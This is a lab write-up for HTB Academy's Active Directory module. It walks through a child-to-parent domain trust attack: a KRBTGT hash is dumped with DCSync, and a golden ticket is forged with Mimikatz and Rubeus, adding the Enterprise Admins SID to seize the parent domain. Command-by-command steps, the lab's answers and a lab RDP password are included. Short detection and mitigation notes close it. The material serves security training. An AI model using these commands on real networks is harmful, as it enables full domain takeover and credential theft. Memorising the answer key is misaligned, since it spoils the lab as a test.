⬆️Child → Parent Trust Attacks

🎯 HTB Academy: Active Directory Enumeration & Attacks

📍 Overview

Child → Parent Trust Attacks exploit SID History injection to escalate privileges from a compromised child domain to the parent domain within the same forest. This technique leverages the lack of SID filtering protection within forest boundaries, allowing attackers to add Enterprise Admin privileges through Golden Ticket creation with extra SIDs.

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🔗 SID History Primer

Concept

• Purpose: Migration scenarios - preserve access when users move between domains

• Mechanism: Original user's SID added to new account's SID History attribute

• Token inclusion: All SIDs in SID History added to user's access token

• Attack vector: Inject admin SIDs into controlled account's SID History

ExtraSids Attack Requirements

Component	Purpose	Example
KRBTGT hash	Child domain Golden Ticket creation	9d765b482771505cbe97411065964d5f
Child domain SID	Domain identification	S-1-5-21-2806153819-209893948-922872689
Target username	Account for ticket (can be fake)	hacker
Child domain FQDN	Domain specification	LOGISTICS.INLANEFREIGHT.LOCAL
Enterprise Admins SID	Parent domain privilege escalation	S-1-5-21-3842939050-3880317879-2865463114-519

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🔓 Attack Methodology

Step 1: Gather Required Data

KRBTGT Hash Extraction

# DCSync attack for KRBTGT hash
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt

# Key output:
Credentials:
  Hash NTLM: 9d765b482771505cbe97411065964d5f

Child Domain SID

# PowerView method
Get-DomainSID
# Output: S-1-5-21-2806153819-209893948-922872689

Enterprise Admins SID

# PowerView cross-domain enumeration
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

# Output: S-1-5-21-3842939050-3880317879-2865463114-519

Step 2: ExtraSids Attack Execution

Method 1: Mimikatz Golden Ticket

# Create Golden Ticket with Enterprise Admin privileges
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

# Verify ticket in memory
klist

Method 2: Rubeus Golden Ticket

# Rubeus equivalent attack
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt

# Verify ticket in memory
klist

Step 3: Parent Domain Compromise

# Verify access to parent domain controller
ls \\academy-ea-dc01.inlanefreight.local\c$

# Perform DCSync against parent domain
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL

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🎯 HTB Academy Lab Solutions

Lab Environment Setup

# RDP to target with child domain admin credentials
xfreerdp /v:<target-ip> /u:htb-student_adm /p:'HTB_@cademy_stdnt_admin!'

🔍 Question 1: "What is the SID of the child domain?"

Solution:

# Import PowerView and get child domain SID
cd C:\Tools\
Import-Module .\PowerView.ps1
Get-DomainSID

# Alternative: Extract from KRBTGT DCSync output
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
# Look for "Object Security ID" field

🎯 Answer: S-1-5-21-2806153819-209893948-922872689

🏛️ Question 2: "What is the SID of the Enterprise Admins group in the root domain?"

Solution:

# Cross-domain Enterprise Admins SID enumeration
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

# Alternative built-in method:
Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL"

🎯 Answer: S-1-5-21-3842939050-3880317879-2865463114-519

🎫 Question 3: "Perform the ExtraSids attack to compromise the parent domain. Submit the contents of the flag.txt file located in the c:\ExtraSids folder."

Complete Attack Solution:

Step 1: Gather Attack Data

# Get KRBTGT hash
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
# Extract: 9d765b482771505cbe97411065964d5f

# Get child domain SID  
Get-DomainSID
# Result: S-1-5-21-2806153819-209893948-922872689

# Get Enterprise Admins SID
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select objectsid
# Result: S-1-5-21-3842939050-3880317879-2865463114-519

Step 2: Execute ExtraSids Attack

# Create Golden Ticket with Enterprise Admin privileges
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

# Verify ticket loaded
klist

Step 3: Access Parent Domain and Retrieve Flag

# Access parent domain controller
ls \\academy-ea-dc01.inlanefreight.local\c$

# Navigate to flag location and retrieve contents
type \\academy-ea-dc01.inlanefreight.local\c$\ExtraSids\flag.txt

🎯 Answer: [Flag contents from c:\ExtraSids\flag.txt]

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⚠️ Security Implications

Attack Prerequisites

• Child domain compromise: Domain Admin or equivalent privileges required

• Forest boundary: Attack works within same AD forest due to SID filtering absence

• Trust relationship: Parent-child trust must exist (automatic in forests)

Detection Considerations

• Golden Ticket indicators: Long-lived tickets, unusual user accounts

• Cross-domain access: Monitor Enterprise Admin group usage

• SID History modifications: Audit SID History attribute changes

• KRBTGT password rotation: Regular rotation invalidates Golden Tickets

Mitigation Strategies

• Privileged access management: Limit child domain admin privileges

• Monitoring: Enhanced logging for cross-domain authentication

• Segmentation: Consider forest boundary design for high-security environments

• KRBTGT maintenance: Regular password rotation and monitoring

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🔑 Key Takeaways

Attack Flow Summary

Child Domain Compromise → KRBTGT Hash + SIDs → Golden Ticket Creation → Parent Domain Access
    (Domain Admin)        (Attack Data)       (ExtraSids Attack)     (Enterprise Admin)

Critical Success Factors

• SID History exploitation: Forest-level trust allows SID injection

• Enterprise Admins SID: Key to parent domain privilege escalation

• Golden Ticket creation: Both Mimikatz and Rubeus provide capability

• Cross-domain enumeration: PowerView enables target identification

Professional Impact

• Forest compromise: Child domain breach leads to complete forest control

• Privilege escalation: Standard user → Enterprise Admin escalation path

• Persistence mechanism: Golden Tickets provide long-term access

• Assessment value: Demonstrates trust relationship security implications

⬆️ Child → Parent trust attacks represent one of the most powerful AD privilege escalation techniques - transforming limited child domain access into complete forest control through SID History exploitation!

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